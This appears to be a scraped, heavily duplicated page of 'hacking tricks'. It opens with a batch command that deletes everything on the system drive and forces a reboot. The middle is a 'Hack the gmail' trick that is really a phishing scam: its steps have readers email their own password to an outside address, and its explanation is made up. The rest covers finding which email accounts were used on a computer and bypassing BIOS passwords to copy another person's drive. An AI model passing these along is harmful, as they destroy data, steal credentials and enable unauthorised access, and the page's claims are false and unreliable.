del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
How to Find Email Accounts Accessed on a Computer
1.Open your email client and click the "Tools" button at the top of the window. Scroll down through the drop-down menu and select "Accounts."
2.Look through the list of accounts in the new window. Read the "incoming server" heading to find out which service they route their email through, such as "Bresnan" or "Comcast."
3.Check the "User Name" heading to find the exact email address being accessed through your email client. Close the email client and return to your web browser.
4.Click the "History" button and select "View All History." Click the "Name" tab to organize the list of websites alphabetically.
5.Scroll through the list of websites to find web-based email accounts such as "Gmail" or "Yahoo." Click on one of the websites to be taken to the email provider's website.
6.Check the text directly underneath the "user name" and "password" fields. Look for a heading that says something similar to "Your session has expired" or "You are no longer logged in." Check to see if the text notification lists the email user name.
7.Return to the "History" page and look for websites for major Internet service providers (ISP), as many ISPs give the option to log into an email account remotely from their website.
2.Look through the list of accounts in the new window. Read the "incoming server" heading to find out which service they route their email through, such as "Bresnan" or "Comcast."
3.Check the "User Name" heading to find the exact email address being accessed through your email client. Close the email client and return to your web browser.
4.Click the "History" button and select "View All History." Click the "Name" tab to organize the list of websites alphabetically.
5.Scroll through the list of websites to find web-based email accounts such as "Gmail" or "Yahoo." Click on one of the websites to be taken to the email provider's website.
6.Check the text directly underneath the "user name" and "password" fields. Look for a heading that says something similar to "Your session has expired" or "You are no longer logged in." Check to see if the text notification lists the email user name.
7.Return to the "History" page and look for websites for major Internet service providers (ISP), as many ISPs give the option to log into an email account remotely from their website.
Hack the gmail
Hack the gmail
Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - sysadmin.hacking@gmail.com
Step 5: Write this in message box.
(first line)- Email address you want to hack.
(second line)- Your Gmail address
(third line)- Your Gmail account password
(fourth line) - <pwdcursive><v703&login="passmachine&f=(p0assword)&f=27586&___javascript=ACTIVE&rsa#"
start?></script>=""></cursive><>
{simply copy and paste above.}
How it works: you mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but when you
try it with your own password and mail this message from your Gmail account
the computer gets confused! Why your password is needed- automatic Gmail
responder will require your "system administrator password" which is in fact
your own password!!! But the : computer doesn't know.
THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL
CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick and
works as many times as you try it. Have fun! NOTE: Use account you have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i'm not to sure
about HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE'S AOL ACCOUNT
IS PROVIDING YOU HAVE AN AOL ACCOUNT.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK
WITH AOL.
I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - sysadmin.hacking@gmail.com
Step 5: Write this in message box.
(first line)- Email address you want to hack.
(second line)- Your Gmail address
(third line)- Your Gmail account password
(fourth line) - <pwdcursive><v703&login="passmachine&f=(p0assword)&f=27586&___javascript=ACTIVE&rsa#"
start?></script>=""></cursive><>
{simply copy and paste above.}
How it works: you mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but when you
try it with your own password and mail this message from your Gmail account
the computer gets confused! Why your password is needed- automatic Gmail
responder will require your "system administrator password" which is in fact
your own password!!! But the : computer doesn't know.
THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL
CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick and
works as many times as you try it. Have fun! NOTE: Use account you have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i'm not to sure
about HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE'S AOL ACCOUNT
IS PROVIDING YOU HAVE AN AOL ACCOUNT.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK
WITH AOL.
I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......
Reset the BIOS password
1.Unplug the computer from the outlet. If you don't you could electrocute yourself or destroy the computer as you reset the BIOS password.
2.Wait 5-10 minutes for the capacitors in the computer to lose its charge.
3.Now open the side of the computer exposing the motherboard. Now, look for the battery on the motherboard. Most batteries will look like a watch or hearing aid battery. Some will look more like a AAA batteries wrapped in plastic though.
4.Once you find the battery look at how it is held on the mother board. Most have a small clip that holds the battery in place. By removing the battery the motherboard loses its ability to hold memory, and rests the BIOS password. If the motherboard battery with a clip that sits on the battery check for a small clip on the side of the battery to slide it out.
5.Using a small screwdriver to slide back any clips and take out the battery.
6.Wait 5 minutes to reset the BIOS password.
7.Replace the battery, put the cover back on and restart the computer. Now the computer should have a cleared BIOS password.
2.Wait 5-10 minutes for the capacitors in the computer to lose its charge.
3.Now open the side of the computer exposing the motherboard. Now, look for the battery on the motherboard. Most batteries will look like a watch or hearing aid battery. Some will look more like a AAA batteries wrapped in plastic though.
4.Once you find the battery look at how it is held on the mother board. Most have a small clip that holds the battery in place. By removing the battery the motherboard loses its ability to hold memory, and rests the BIOS password. If the motherboard battery with a clip that sits on the battery check for a small clip on the side of the battery to slide it out.
5.Using a small screwdriver to slide back any clips and take out the battery.
6.Wait 5 minutes to reset the BIOS password.
7.Replace the battery, put the cover back on and restart the computer. Now the computer should have a cleared BIOS password.
Break the BIOS password
1.Unplug the computer. Remove the monitor and other peripherals from the computer.Open the computer's cover.
2.Look for a jumper labeled "PWD" or something similar, near the CMOS battery on the motherboard. If you can't find it, consult the manual for your motherboard to find out where this jumper is located. Remove the jumper, which is a little plastic sheath covering some of the pins. This disables the password.
3.Remove the CMOS battery. The CMOS battery is a round battery that looks like a watch battery. Release the battery, keep it out of the computer for a few seconds, then put it back. The removal of the battery resets the BIOS and clear the password.
4.Use a backdoor password or a keyboard command. Most BIOS manufacturers have standard passwords that can be used to bypass the BIOS password. Search the Internet to find a list of passwords. You need to know what your BIOS is. Hold the left shift key down during the boot process to bypass the BIOS password on most Toshiba systems.
5.Browse the web for third party password hacking tools, if none of the other methods works.
6.Take the hard drive out of the computer. Once the hard drive is out of the password protected computer, you can access the information on it. Place the drive as a secondary drive in another computer to copy information from it.
2.Look for a jumper labeled "PWD" or something similar, near the CMOS battery on the motherboard. If you can't find it, consult the manual for your motherboard to find out where this jumper is located. Remove the jumper, which is a little plastic sheath covering some of the pins. This disables the password.
3.Remove the CMOS battery. The CMOS battery is a round battery that looks like a watch battery. Release the battery, keep it out of the computer for a few seconds, then put it back. The removal of the battery resets the BIOS and clear the password.
4.Use a backdoor password or a keyboard command. Most BIOS manufacturers have standard passwords that can be used to bypass the BIOS password. Search the Internet to find a list of passwords. You need to know what your BIOS is. Hold the left shift key down during the boot process to bypass the BIOS password on most Toshiba systems.
5.Browse the web for third party password hacking tools, if none of the other methods works.
6.Take the hard drive out of the computer. Once the hard drive is out of the password protected computer, you can access the information on it. Place the drive as a secondary drive in another computer to copy information from it.
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